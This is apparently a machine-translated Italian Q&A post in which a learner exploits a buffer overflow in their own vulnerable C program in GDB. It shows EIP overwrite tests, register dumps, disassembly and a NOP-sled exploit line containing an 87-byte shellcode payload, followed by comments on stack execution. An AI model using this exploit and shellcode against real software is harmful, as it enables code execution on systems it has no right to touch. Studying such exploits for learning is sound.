Sto lavorando attraverso alcuni esempi di exploit buffer overflow e ho scritto un'app C vulnerabile di base per testare: (target e attacker è la stessa macchina di Kali 2 e hanno eseguito "echo" 0 ">/proc/sys/kernel/randomize_va_space ")Esempio di exploit buffer overflow
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[256];
if (argc != 2)
{
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Ora, con alcuni test in GDB posso causare un guasto seg mettendo 260 byte nel buffer:
r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
con i registri mostra:
eax 0x105 261
ecx 0xffffd300 -11520
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0xffffd300 0xffffd300
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
Credo di poter ottenere con successo il controllo di PEI, data la 0x424242 sopra (anche se EBP è 0x0 ??)
Domanda 1.
Con un buffer di 260 byte, EIP viene sovrascritto come sopra. Se si utilizza:
r $(python -c 'print "A" * 512')
mi sto trovando che la SEGSEGV è a 0x080484b4 con i registri
eax 0x201 513
ecx 0x41414141 1094795585
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80484b4 0x80484b4 <main+89>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
avrei pensato che se il controllo 260 guadagni di EIP, non dovrebbe l'esempio di 512 byte, nonché ? Perché lo scenario 512 consente a EIP di puntare al ret in questo caso anziché a 0x424242 come nell'esempio del buffer di 260 byte sopra?
Domanda 2.
ho creato un carico utile che è di 87 byte. Ho iniettato il payload nei primi 204 byte come sotto
r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')
miei disas principale è come segue
0x0804845b <+0>: lea 0x4(%esp),%ecx
0x0804845f <+4>: and $0xfffffff0,%esp
0x08048462 <+7>: pushl -0x4(%ecx)
0x08048465 <+10>: push %ebp
0x08048466 <+11>: mov %esp,%ebp
0x08048468 <+13>: push %ecx
0x08048469 <+14>: sub $0x104,%esp
0x0804846f <+20>: mov %ecx,%eax
0x08048471 <+22>: cmpl $0x2,(%eax)
0x08048474 <+25>: je 0x8048480 <main+37>
0x08048476 <+27>: sub $0xc,%esp
0x08048479 <+30>: push $0x0
0x0804847b <+32>: call 0x8048340 <[email protected]>
0x08048480 <+37>: mov 0x4(%eax),%eax
0x08048483 <+40>: add $0x4,%eax
0x08048486 <+43>: mov (%eax),%eax
0x08048488 <+45>: sub $0x8,%esp
0x0804848b <+48>: push %eax
0x0804848c <+49>: lea -0x108(%ebp),%eax
0x08048492 <+55>: push %eax
0x08048493 <+56>: call 0x8048310 <[email protected]>
0x08048498 <+61>: add $0x10,%esp
0x0804849b <+64>: sub $0xc,%esp
0x0804849e <+67>: lea -0x108(%ebp),%eax
0x080484a4 <+73>: push %eax
0x080484a5 <+74>: call 0x8048320 <[email protected]>
0x080484aa <+79>: add $0x10,%esp
0x080484ad <+82>: mov -0x4(%ebp),%ecx
0x080484b0 <+85>: leave
0x080484b1 <+86>: lea -0x4(%ecx),%esp
=> 0x080484b4 <+89>: ret
Mettere un'interruzione su 56 (0x08048493) ed esaminando l'ESP x/2wx $ esp i può scoprire che:
0xffffd220: 0xffffd230 0xffffd56b
e x/s 0xffffd56b
0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb)
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>
così, può dedurre (si spera correttamente) che PEI dovrebbe essere \ x6b \ XD5 \ xff \ xff di chiamare l'exploit, e sostituendo tutti i pezzi, come di seguito (usando NOP slitta):
r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')
Purtroppo, il programma ora sta terminando normalmente con "[Inferior 1 (processo 2863) uscito normalmente]". Mi manca qualcosa o semplicemente via dal percorso corretto ...? Anche io noto pause non si rompono nella dichiarazione di cui sopra?
- Modifica
riformulato per rendere più senso dopo aver camminato lontano dalle ore allo schermo :)
I moderni sistemi operativi non consentono di modificare le istruzioni, quindi se si sta tentando di sovrascrivere un'istruzione ret, verrà rilevato un errore. Inoltre, cosa intendi con "riempire l'EIP"? EIP è il puntatore dell'istruzione. –
@BobbySacamano: non necessariamente se il codice è in pila. Lo stack è letto e scritto. E non tutti i sistemi operativi impediscono l'esecuzione di codice nello stack (poiché alcuni sistemi operativi mettono il codice trampolino in pila). Il codice di exploit del buffer finirà nello stack, quindi dipende dal fatto che il sistema operativo consenta di eseguire il codice nello stack. –
@ MichaelPetch oh buon punto. A volte mi dimentico degli attacchi di esecuzione dei dati. Ulteriori informazioni sono necessarie per rispondere a questa ipotesi. –